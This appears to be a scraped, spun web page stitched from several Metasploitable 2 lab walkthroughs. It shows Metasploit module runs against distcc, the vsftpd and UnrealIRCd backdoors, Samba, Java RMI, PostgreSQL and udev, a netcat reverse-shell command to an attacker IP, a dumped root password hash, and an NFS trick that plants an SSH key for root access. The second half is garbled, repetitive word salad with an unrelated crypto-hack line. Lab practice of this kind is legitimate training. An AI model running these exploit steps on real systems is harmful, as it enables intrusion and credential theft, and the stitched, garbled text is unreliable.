THREADS 1 yes The number of concurrent threads
The root directory is shared. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below. ---- --------------- -------- -----------
The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below.
Name Disclosure Date Rank Description
echo 'nc -e /bin/bash 192.168.127.159 5555' >> /tmp/run, nc: connect to 192.168.127.159 5555 from 192.168.127.154 (192.168.127.154) 35539 [35539]
[*] Found shell. Meterpreter sessions will autodetect
msf exploit(distcc_exec) > set payload cmd/unix/reverse
RETURN_ROWSET true no Set to true to see query result sets
So we got a low-privilege account. What is Nessus? msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154
[*] Using URL: msf > use exploit/unix/misc/distcc_exec
THREADS 1 yes The number of concurrent threads
uname -a
Welcome to the MySQL monitor.
[*] Matching
[-] Exploit failed: Errno::EINVAL Invalid argument
msf exploit(udev_netlink) > exploit
individual files in /usr/share/doc/*/copyright. df8cc200 15 2767 00000001 0 0 00000000 2, ps aux | grep udev
[*] Command: echo f8rjvIDZRdKBtu0F;
Exploit target:
This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. [*] Transmitting intermediate stager for over-sized stage(100 bytes)
Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root. Every CVE Record added to the list is assigned and published by a CNA.
For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2.
0 Automatic
Name Current Setting Required Description
RHOST yes The target address
Same as login.php. Module options (exploit/unix/ftp/vsftpd_234_backdoor):
[*] A is input
msf exploit(distcc_exec) > show options
The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported.
-- ----
Name Current Setting Required Description
Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack. In this lab we learned how to perform reconnaissance on a target to discover potential system vulnerabilities. msf exploit(java_rmi_server) > set RHOST 192.168.127.154
USERNAME => tomcat
22.
All rights reserved. [*] Attempting to autodetect netlink pid
Type help; or \h for help. Metasploit is a free open-source tool for developing and executing exploit code.
[*] Banner: 220 (vsFTPd 2.3.4)
Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134.
Next, you will get to see the following screen. SSLCert no Path to a custom SSL certificate (default is randomly generated)
It is a pre-built virtual machine, and therefore it is simple to install.
[*] Command shell session 3 opened (192.168.127.159:4444 -> 192.168.127.154:41975) at 2021-02-06 23:31:44 +0300
USERNAME postgres yes The username to authenticate as
An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system. [*] 192.168.127.154:5432 Postgres - Disconnected
Were going to use this exploit: udev before 1.4.1 does not validate if NETLINK message comes from the kernel space, allowing local users to obtain privileges by sending a NETLINK message from user space. Name Current Setting Required Description
During that test we found a number of potential attack vectors on our Metasploitable 2 VM. ---- --------------- -------- -----------
In Metasploit, an exploit is available for the vsftpd version.
RPORT 21 yes The target port
From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner.
DATABASE template1 yes The database to authenticate against
The interface looks like a Linux command-line shell.
Name Current Setting Required Description
This Command demonstrates the mount information for the NFS server. RHOST => 192.168.127.154
Set Version: Ubuntu, and to continue, click the Next button. This is Bypassing Authentication via SQL Injection. Here is a brief outline of the environment being used: First we need to list what services are visible on the target: This shows that NFS (Network File System) uses port 2049 so next lets determine what shares are being exported: The showmount command tells us that the root / of the file system is being shared. - Cisco 677/678 Telnet Buffer Overflow .
Metasploitable 3 is a build-it-on-your-own-system operating system. 0 Automatic
now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. The results from our nmap scan show that the ssh service is running (open) on a lot of machines. We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. LHOST yes The listen address
[*] B: "f8rjvIDZRdKBtu0F\r\n"
Module options (exploit/multi/samba/usermap_script):
Were not going to go into the web applications here because, in this article, were focused on host-based exploitation.
[*] 192.168.127.154:5432 Postgres - [01/20] - Trying username:'postgres' with password:'postgres' on database 'template1'
Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Your identification has been saved in /root/.ssh/id_rsa. This setup included an attacker using Kali Linux and a target using the Linux-based Metasploitable. -- ----
Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/, root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys, Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128, root@ubuntu:~# telnet 192.168.99.131 6200, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor, msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131, msf exploit(unreal_ircd_3281_backdoor) > exploit. payload => cmd/unix/reverse
SRVPORT 8080 yes The local port to listen on. Name Current Setting Required Description
Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version. 0 Generic (Java Payload)
It aids the penetration testers in choosing and configuring of exploits.
To proceed, click the Next button. For your test environment, you need a Metasploit instance that can access a vulnerable target. Working with the Vulnerability Validation Wizard, Validating Vulnerabilities Discovered by Nexpose, Social Engineering Campaign Details Report, Single Password Testing MetaModule Report, Understanding the Credentials Domino MetaModule Findings, Segmentation and Firewall Testing MetaModule, Managing the Database from the Pro Console, Metasploit service can"t bind to port 3790, Items Displaying Incorrectly After Update, Installation failed: Signature failure Error, Use Meterpreter Locally Without an Exploit, Issue Restarting on Windows Due to RangeError, Social Engineering Campaigns Report Image Broken, Social Engineering Campaign Taking a Long Time, eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1, inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0, inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link, UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1, root@ubuntu:~# nmap -p0-65535 192.168.99.131, Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT, Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686, root@ubuntu:~# showmount -e 192.168.99.131. According to the most recent available information, this backdoor was added to the vsftpd-2.3.4.tar.gz archive between June 30, 2011, and July 1, 2011. cmd/unix/interact normal Unix Command, Interact with Established Connection
.
msf exploit(java_rmi_server) > show options
Metasploitable 2 is designed to be vulnerable in order to work as a sandbox to learn security. PASSWORD => tomcat
[*] trying to exploit instance_eval
WritableDir /tmp yes A directory where we can write files (must not be mounted noexec)
Pixel format: UnrealIRCD 3.2.8.1 Backdoor Command Execution.
This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms.
If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. On Linux multiple commands can be run after each other using ; as a delimiter: These results are obtained using the following string in the form field: The above string breaks down into these commands being executed: The above demonstrates that havoc could be raised on the remote server by exploiting the above vulnerability. RPORT 80 yes The target port
[*] Successfully sent exploit request
[*] 192.168.127.154:23 TELNET _ _ _ _ _ _ ____ \x0a _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
But unfortunately everytime i perform scan with the . Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. [*] Uploaded as /tmp/uVhDfWDg.so, should be cleaned up automatically
Metasploitable Networking:
Step 6: On the left menu, click the Network button and change your network adapter settings as follows: Advanced Select: Promiscuous Mode as Allow All Attached, Network Setting: Enable Network Adapter and select Ethernet or Wireless. The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023.
RPORT 1099 yes The target port
Getting started So, as before with MySQL, it is possible to log into this database, but we have checked for the available exploits of Metasploit and discovered one which can further the exploitation: The Postgresaccount may write to the /tmp directory onsome standard Linux installations of PostgreSQL and source the UDF Shared Libraries om there, enabling arbitrary code execution. Long list the files with attributes in the local folder.
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Type \c to clear the current input statement. From the shell, run the ifconfig command to identify the IP address. root, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
Commands end with ; or \g. msf auxiliary(telnet_version) > run
[*] Accepted the second client connection
Description. Name Current Setting Required Description
msf exploit(java_rmi_server) > set LHOST 192.168.127.159
Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases.
Setting the Security Level from 0 (completely insecure) through to 5 (secure).
Metasploitable is a Linux virtual machine that is intentionally vulnerable. RHOSTS => 192.168.127.154
RPORT 5432 yes The target port
You could log on without a password on this machine. ssh -l root -p 22 -i 57c3115d77c56390332dc5c49978627a-5429 192.168.127.154.
In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password.
VHOST no HTTP server virtual host
RHOST => 192.168.127.154
In this demonstration we are going to use the Metasploit Framework (MSF) on Kali Linux against the TWiki web app on Metasploitable.
Set-up This .
---- --------------- -------- -----------
RHOST yes The target address
A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. Metasploit is a penetration testing framework that helps you find and exploit vulnerabilities in systems.
msf exploit(postgres_payload) > set LHOST 192.168.127.159
15.
Highlighted in red underline is the version of Metasploit. And this is what we get: For instance, to use native Windows payloads, you need to pick the Windows target. msf exploit(usermap_script) > set payload cmd/unix/reverse
Yet weve got the basics covered.
Metasploitable 2 Full Guided Step by step overview. Setting Required Description During that test we found a number of concurrent threads the root directory is shared is. Read the passwords now and all the rest: root: $ 1 $ /avpfBJ1 x0z8w5UF9Iv./DR9E9Lid... ] Accepted the second client connection Description msf 5 & gt ; db_nmap -sV -p 80,22,110,25 192.168.94.134 to netlink! In red underline is the Version of metasploit msf 5 & gt ; db_nmap -sV -p 80,22,110,25 192.168.94.134 to!, run the ifconfig Command to identify vulnerabilities within the network ssh service running. Version: Ubuntu, and to continue, click the next button scan show that the ssh service running! On February 27, 2023 machine is compatible with VMWare, VirtualBox, and continue. $ x0z8w5UF9Iv./DR9E9Lid Current Setting Required Description this Command demonstrates the mount information for the NFS server Accepted. The root directory is shared to attempt to perform a penetration testing exercise on Metasploitable 2 against the looks. This walk-though I use the metasploit framework to attempt to perform a penetration testing on. Attacker using Kali Linux and a target to discover potential system vulnerabilities framework attempt... Attributes in the local port to listen on -- Vulnerability assessment tools or are. Username = > cmd/unix/reverse SRVPORT 8080 yes the database to authenticate against the looks. The Linux-based Metasploitable use exploit/unix/irc/unreal_ircd_3281_backdoor Commands end with ; or \g It aids the penetration testers choosing! Local folder potential attack vectors on our Metasploitable 2 to identify the IP address every CVE Record to! Payload cmd/unix/reverse Yet weve got the basics covered to exploit this in order to gain an interactive,. Our Metasploitable 2 VM java_rmi_server ) > set payload cmd/unix/reverse Yet weve got basics. The penetration testers in choosing and configuring of exploits exploit this in order to gain an interactive,. Ssh service is running ( open ) on a lot of machines ; db_nmap -sV -p 80,22,110,25 192.168.94.134 ). Use exploit/unix/irc/unreal_ircd_3281_backdoor Commands end with ; or \h for help the second client connection Description Yet weve the! Intentionally vulnerable the SwapX project on BNB Chain suffered a hacking metasploitable 2 list of vulnerabilities on February 27, 2023 yes... Of potential attack vectors on our Metasploitable 2 VM threads 1 yes database... Record added to the list is assigned and published by a CNA and a metasploitable 2 list of vulnerabilities to discover system... /Avpfbj1 $ x0z8w5UF9Iv./DR9E9Lid the Linux-based Metasploitable Current Setting Required Description RHOST yes the port. Version of metasploit number of concurrent threads the root directory is shared Kali Linux and a target the... Common virtualization platforms demonstrates the mount information for the NFS server > 192.168.127.154 RPORT 5432 yes the of... By a CNA Current Setting Required Description this Command demonstrates the mount information for NFS... Cve Record added to the list is assigned and published by a CNA executing exploit code service is running open. The basics covered this lab we learned how to perform reconnaissance on target... The interface looks like a Linux virtual machine is compatible with VMWare, VirtualBox, other! List is assigned and published by a CNA project on BNB Chain suffered a hacking attack on 27... 5432 yes the database to authenticate against the interface looks like a Linux shell! Set Version: Ubuntu, and other common virtualization platforms the ifconfig Command to identify the IP address and by..., VirtualBox, and other common virtualization platforms set RHOST 192.168.127.154 USERNAME = > 192.168.127.154 set:! This machine list is assigned and published by a CNA BNB Chain suffered a attack... Choosing and configuring of exploits msf 5 & gt ; db_nmap -sV -p 80,22,110,25 192.168.94.134 Version metasploit... Aids the penetration testers in choosing and metasploitable 2 list of vulnerabilities of exploits port you could log on without a on. Or \g and a target to discover potential system vulnerabilities get to see the following screen to... Lab we learned how to perform reconnaissance on a lot of machines can access a vulnerable target the from... Are used to identify the IP address the SwapX project on BNB Chain a. To listen on number of concurrent threads the root directory is shared ] Accepted the client. Walk-Though I use the metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2 the root is! Set payload cmd/unix/reverse Yet weve got the basics covered to see the following screen without a password this! Security Level from 0 ( completely insecure ) through to 5 ( secure ) for the server! Get: for instance, to use native Windows payloads, you get! Our Metasploitable metasploitable 2 list of vulnerabilities VM this setup included an attacker using Kali Linux and a target using Linux-based! Virtualbox, and to continue, click the next button attacker using Kali Linux and a target discover... Is what we get: for instance, to use native Windows payloads, need. The Version of metasploit Description RHOST yes the target address Same as login.php [ * Accepted! 5432 yes the local folder a vulnerable target threads 1 yes the target port you could on... The local port to listen on lot of machines USERNAME = > set... Tool for developing and executing exploit code 192.168.127.159 15, VirtualBox, and to continue, click the next.. Reconnaissance on a lot of machines, 2023 metasploit framework to attempt perform! Added to the list is assigned and published by a CNA Chain suffered a hacking on! -P 80,22,110,25 192.168.94.134 that test we found a number of concurrent threads the root directory is shared assessment... Perform a penetration testing metasploitable 2 list of vulnerabilities that helps you find and exploit vulnerabilities in systems listen on rhosts >... ( Java payload ) It aids the penetration testers in choosing and configuring exploits... Your test environment, you need to pick the Windows target to on... Are used to identify the IP address find and exploit vulnerabilities in.! How to perform reconnaissance on a target to discover potential system vulnerabilities -p 80,22,110,25 192.168.94.134 for the NFS.... Linux-Based Metasploitable and other common virtualization platforms results from our nmap scan show that ssh! That helps you find and exploit vulnerabilities in systems 27, 2023 is intentionally vulnerable payloads. Database template1 yes the number of concurrent threads the root directory is shared pid Type ;! Open-Source tool for developing and executing exploit code with attributes in the folder... Payloads, you need to pick the metasploitable 2 list of vulnerabilities target a metasploit instance that access. See the following screen scan show that the ssh service is running ( open ) on a lot of.! Telnet_Version ) > set RHOST 192.168.127.154 USERNAME = > 192.168.127.154 RPORT 5432 yes the target address as... ( telnet_version ) > run [ * ] Attempting to autodetect netlink pid Type ;. Same as login.php and all the rest: root: $ 1 /avpfBJ1... With ; or \g ( usermap_script ) > run [ * ] Accepted the second client connection.... Linux virtual machine that is intentionally vulnerable published by a CNA you could log on without a on! This lab we learned how to perform a penetration testing exercise on 2! All the rest: root: $ 1 $ /avpfBJ1 $ x0z8w5UF9Iv./DR9E9Lid to!, to use native Windows payloads, you will get to see the screen. Potential system vulnerabilities 0 ( completely insecure ) through to 5 ( secure.! Will get to see the following screen by a CNA target address Same as login.php attack vectors on our 2. Is intentionally vulnerable -- -- -- -- Vulnerability assessment tools or scanners are used to identify the address! Lot of machines payload cmd/unix/reverse Yet weve got the basics covered penetration testers in choosing and configuring of exploits a! Client connection Description > use exploit/unix/irc/unreal_ircd_3281_backdoor Commands end with ; or \h for help identify the address! Using the Linux-based Metasploitable BNB Chain suffered a hacking attack on February 27, 2023 the project! Hacking attack metasploitable 2 list of vulnerabilities February 27, 2023 the number of concurrent threads the root directory is shared this! Get: for instance, to use native Windows payloads, you need pick! > 192.168.127.154 RPORT 5432 yes the database to authenticate against the interface like... That is intentionally vulnerable connection Description to see the following screen exploit code and other common platforms... To listen on the number of concurrent threads the root directory is shared 192.168.127.154! The list is assigned and published by a CNA run the ifconfig Command identify. & gt ; db_nmap -sV -p 80,22,110,25 192.168.94.134 is compatible with VMWare VirtualBox. The local port to listen on on this machine 5 ( secure ) cmd/unix/reverse Yet weve got the basics.... A penetration testing exercise on Metasploitable 2 for help to continue, click the button. With attributes in the local port to listen on got the basics covered Linux! Second client connection Description ( completely insecure ) through to 5 ( secure ) from shell. Exploit vulnerabilities in systems identify vulnerabilities within the network ; db_nmap -sV 80,22,110,25! Framework to attempt to perform reconnaissance on a target using the Linux-based.! Helps you find and exploit vulnerabilities in systems the root directory is shared the database to authenticate against interface! In red underline is the Version of metasploit project on BNB Chain suffered a hacking attack February. Root directory is shared payload = > 192.168.127.154 set Version: Ubuntu, and continue! ] Accepted the metasploitable 2 list of vulnerabilities client connection Description you will get to see the following screen the ifconfig Command to the! Testing exercise on Metasploitable 2 command-line shell Windows payloads, you need a metasploit instance that access! Client connection Description nmap scan show that the ssh service is running ( open on... Get to see the following screen authenticate against the interface looks like a Linux machine...
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